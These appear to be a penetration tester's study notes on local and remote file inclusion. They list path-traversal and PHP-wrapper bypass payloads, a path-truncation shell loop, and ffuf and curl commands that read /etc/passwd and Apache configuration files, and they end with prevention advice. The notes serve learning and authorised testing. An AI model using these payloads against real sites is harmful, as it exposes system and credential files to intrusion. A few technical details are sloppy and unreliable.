# lfi-file-inclusion

### Local File Inclusion (LFI)

In modern web application, in order to generate dynamic content, developers uses parameter page loading like `index.php?page=about`. where index.php sets static content and pulled the dynamic content specified in the parameter, which may be read from a file called `about.php`.

### How to find LFI vulnerability

We should look for such URLs which take filename as parameters `http://vulnerable_site/preview.php?file=example.html`

## Bypass methods overview

**Link of techniques**

[Testing\_for\_Local\_File\_Inclusion](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion)

**Null byte Injection**

If `.php` extension is appended we can use Null byte Injection

```
http://vulnerable_host/preview.php?file=../../../../etc/passwd%00
```

**PHP file limit of 4096 bytes**

* PHP drops when the given filename is longer than the length. When this happens not error is triggered
* Use Unicode encoding
* Use Double encoding

**PHP wrappers add some functionality and Remote Code Execution:**

**PHP filters:**

This wrapper can be used to get content of a file preventing the server from execution `php://filter/convert.base64-encode/resource=FILE`

**PHP Zip:**

* It is used to manipulate zip compressed files
* It can be used to upload file and bypass extension restriction
* `zip:///filename_path#internal_filename`

**PHP data:**

It take base64 encoded content `data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==`

**PHP expect:**

It is not enabled by default, provides access to processes `expect://command`

**Using double string (….//)**

```
….//….//….//etc/passwd
```

## LFI can lead to:

* Source code disclosure
* Sensitive data exposure
* Remote code execution

## Example of vulnerable code

A website may have a ?language GET parameter, if a user change language from the drop-down menu, the ?language parameter would change as well. In such cases, changing the language my change the directory where the web app is loading the pages.

**Read/write functions:**

| Functions                  | Read | Execute | Remote URL |
| -------------------------- | ---- | ------- | ---------- |
| **PHP**                    |      |         |            |
| include()/include\_once () | ✔️   | ✔️      | ✔️         |
| require()/require\_once()  | ✔️   | ✔️      | ❌          |
| file\_get\_content()       | ✔️   | ❌       | ✔️         |
| fopen()/file()             | ✔️   | ❌       | ❌          |
| **NodeJS**                 |      |         |            |
| fs.readFile()              | ✔️   | ❌       | ❌          |
| fs.sendFile()              | ✔️   | ❌       | ❌          |
| res.render()               | ✔️   | ✔️      | ❌          |
| **Java**                   |      |         |            |
| include                    | ✔️   | ❌       | ❌          |
| import                     | ✔️   | ✔️      | ✔️         |
| **.NET**                   |      |         |            |
| @Html.Partial()            | ✔️   | ❌       | ❌          |
| @Html.RemotePartial()      | ✔️   | ❌       | ✔️         |
| Response.WriteFile()       | ✔️   | ❌       | ❌          |
| include                    | ✔️   | ✔️      | ✔️         |

## File Disclosure

#### Web application preventions

**Common files to read**

```
/etc/passwd (linux)
C:\Windows\boot.ini (windows)
```

**Back-end Scenarios (it depends upon the web server coding style)**

1. When the whole user input is include (include(`$_GET['language']);`) Absolute path /etc/passwd
2. When the only string appended `[parm value]` `(include("./languages/" . $_GET['language']);`) Relative path ../../etc/passwd
3. Filename prefix is used `(include("lang_" . $_GET['language']);)` Relative path `../../etc/passwd`
4. Appended extensions `(include($_GET['language'] . ".php");)` Absolute path `/etc/passwd`
5. Advance attack (second-order attacks)
   * This attack occurs many web applications functionalities may be insecurely pulling file from the back-end server based on user-controlled parameters.
   * When a web application tries to download our avatar through URL like `/profile/$username/avatar.png`

## Basic Bypasses

### Non-recursive path traversal filters:

One of the most basic filters against LFI is a search and replace filter, where it simply delete substring of (../) to avoid path traversal. Example: `$language = str_replace('../', '', $_GET['language']);`

### How do I bypass it

This filter is not recursively deleting `../` string we can use double string `….//` `….//`

### Encoding:

`URL encoding`

### Approved paths:

Only accepts specific paths under, let's say, ./language directory **How do I bypass it** We may start our payload with the approved path, and then use ../ to go back to the root directory and read the file we specify `?language=./language/../../../etc/passwd`

> Combine any two or more bypass techniques

### Appended extension

We may not be able to bypass it, there are couple of techniques but they only works with PHP version before 5.3/5.4 **Path truncation:** In earlier version of PHP, strings have maximum length of 4096 characters, due to limit of 32-bit systems. Any text after the max length will be ignored. Linux general, also disregard multiple slashes in the path. **Payload:**

```
echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done
```

### Null bytes

PHP version before 5.5 were vulnerable to null byte injection, anything after a null byte (`%00`) will not consider. (This is how strings are store in low-level memory, null byte indicate the end of string in memory) `/etc/passwd%00.php`

## PHP filters

PHP filters are a type of PHP wrappers, where we can pass different types of input and have it filtered by the filter we specify. These filters/wrappers can used to read restricted source code or local files.

### Input filters

**Filter wrapper has several parameters:**

* Resource
* Read
* e.g., `php://read/.`

**Different types of filters**

* String filters
* Conversion filters
* Compression filters
* Encryption filters

**Fuzz for PHP files (first step)**

* FUZZ for different available PHP pages
* Dir: directory-list-2.3-small.txt
* URL: `http://target/FUZZ.php`
* Obtain a list of files to read e.g. `config.php`

**Standard PHP inclusion (LFI with appended PHP extension)**

If we try to access config file as it just a configuration. it is executed and not show in the html page, so we will use PHP base64 wrapper/filter to encode the file content and show on the browser instead of execute.

```
php://filter/read=convert.base64-encode/resource=config
```

***

## Remote file Inclusion (RFI)

RFI is usually disabled by default as it dangerous practice. Any remote URL inclusion in PHP would require the `allow_url_include` settings to be enabled.

### Verify RFI

* In this page
  * RCE > check php configuration > check

> It is always best practice to start with local file e.g. `http://<SERVER_IP>:<PORT>/index.php?language=http://127.0.0.1:90/index.php`

**\[\[CPTS Notes/04 Web Exploitation/LFI/RCE|RCE with RFI]]**

***

## Automated Scanning

It is essential to understand how LFI & RFI attacks work and how we can manually craft advanced payloads and use custom techniques to reach remote code execution.

### Fuzzing parameters

**Fuzz for exposed parameters**

```
ffuf -w /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value'
```

[Most Popular LFI parameters](https://book.hacktricks.xyz/pentesting-web/file-inclusion#top-25-parameters)

**LFI wordlists**

[LFI-seclists](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) [LFI-jhaddix](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt)

```
ffuf -w /opt/useful/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ'
```

> Once we have identified payloads, we should manually test them to verify that they works as expected.

**Fuzzing server files**

Depending on our LFI situation, we may need to add a few back directories(eg. `../../../../`).

**Server Webroot**

```
ffuf -w /opt/useful/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php'
```

* Wordlist for Linux
* Wordlist for windows
* We can also use LFI-Jhaddix.txt file here

**Server logs/configurations**

* I need to able to identify the correct logs directory to be able to perform the log poisoning attacks.
* We may use LFI-Jhaddix.txt file

```
ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ'
```

* After the scan is complete and got results
* Try to access files

```
curl http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/apache2/apache2.conf
```

```
curl http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/apache2/envvars
```

#### LFI tools

* [LFISuite](https://github.com/D35m0nd142/LFISuite)
* [LFIFreak](https://github.com/OsandaMalith/LFiFreak)
* [liffy](https://github.com/mzfr/liffy)
* [Kadimus](https://github.com/P0cL4bs/Kadimus)
* [LFISuite](https://github.com/D35m0nd142/LFISuite)
* lostsec.py

## File Inclusion prevention

* Do not include user controlled input into any file inclusion function.
* Prevent directory traversal by using programming language built-in tools to pull only the filename.
* Sanitize user input to recursively remove any attempts to traversing directories.
* Web server configuration (allow\_url\_fopen and allow\_url\_include to off)
* Install web application firewall (WAF)
